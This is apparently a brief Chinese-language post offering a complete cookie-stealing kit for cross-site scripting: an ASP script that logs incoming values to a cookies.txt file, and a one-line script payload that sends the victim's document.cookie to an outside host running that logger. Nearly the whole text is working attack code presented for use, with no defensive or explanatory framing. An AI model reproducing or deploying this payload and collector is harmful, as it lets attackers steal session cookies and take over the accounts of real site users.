xss獲取cookie源碼附利用代碼

  保存為cookie.asp

<% 
testfile=Server.MapPath("cookies.txt") 
msg=Request("msg") 
set fs=server.CreateObject("scripting.filesystemobject") 
set thisfile=fs.OpenTextFile(testfile,8,True,0) 
thisfile.WriteLine(""&msg& "") 
thisfile.close 
set fs = nothing 
%>

　　

利用代碼：

<script>window.open('http://zhimo.yuanzhumuban.cc/cookie.asp?msg='+document.cookie)</script>